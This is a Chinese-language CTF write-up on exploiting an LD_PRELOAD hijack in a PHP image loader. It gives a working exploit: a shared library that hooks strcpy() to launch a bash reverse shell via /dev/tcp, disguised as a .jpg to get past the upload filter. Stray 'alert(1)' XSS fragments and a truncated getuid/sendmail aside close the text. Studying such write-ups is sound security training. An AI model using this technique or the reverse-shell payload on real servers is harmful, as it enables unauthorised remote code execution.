前言
一天一道ctf开始启动,感觉寒假还是很充实,玩累了就来看一道ctf完成任务,又不累,开学再卷吧。然后这里有LD劫持的知识,看wp都废,也是看懂了
https://blog.csdn.net/bossDDYY/article/details/127671924?spm=1001.2014.3001.5506
解题
因为不想自己一直去截图,就用别人的图了,我们先去找hint
下载 可以看到源码 使用 vi -r index.php.swp 恢复文件内容
$PATH=$_GET["image_path"];
if((!isset($PATH))){
$PATH="upload/1.jpg";
}
echo "<div align='center'>";
loadimg($PATH);
echo "</div>";
function loadimg($img_path){
if(file_exists($img_path)){
//设置环境变量的值 添加 setting 到服务器环境变量。 环境变量仅存活于当前请求期间。 在请求结束时环境会恢复到初始状态 设置.so LD_PRELOAD设置的优先加载动态链接库
putenv("LD_PRELOAD=/var/www/html/$img_path");
system("echo Success to load");
echo "<br><img src=$img_path>";
}else{
system("echo Failed to load ");
}
}
我们看关键部分putenv("LD_PRELOAD=/var/www/html/$img_path");竟然我们可以控制,考点就明显了,就是劫持ld,我们看看这里面有没有什么触发的函数,只有一个system
我们自己测试一下过程
在hack.php里写入:
<?php
system("echo Success to load");
发现system()函数会启用 /bin/sh 新进程
readelf 命令查看一下 系统命令/bin/sh调用的函数,发现了 strcpy()
readelf -Ws /usr/bin/sh
综上,我们写一个 exp.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() {
//反弹shell
system("bash -c 'bash -i >& /dev/tcp/ip/port 0>&1'");
}
char *strcpy (char *__restrict __dest, const char *__restrict __src) { //不知道参数的话可以通过报错信息
if (getenv("LD_PRELOAD") == NULL) {
return 0;
}
unsetenv("LD_PRELOAD");
payload();
}
执行 gcc -shared -fPIC exp.c -o exp.so
http://node5.anna.nssctf.cn:28237/upload/upload.php这是上传文件的url,因为需要上传文件
生成exp.so发现不能上传so文件,但是LD_PRELOAD也能解析jpg后缀 所以修改后缀上传就可以
回到index.php 加载 upload/exp.jpg 服务器上拿到shell
[...]// 运行 PHP 的 mail() 函数, mail() 内部启动新进程 /usr/sbin/sendmail, 由于上一步 LD_PRELOAD 的作用, sendmail 调用的系统函数 getuid() 被优先级更好的 getuid.so 中的同名 getuid() 所劫持。有时候我们需要自己测试具体参考文章http://49.232.222.195/index.php/archives/[...]
http://xxxxxx/">
alert(1)http://xxxxxx/">
alert(1)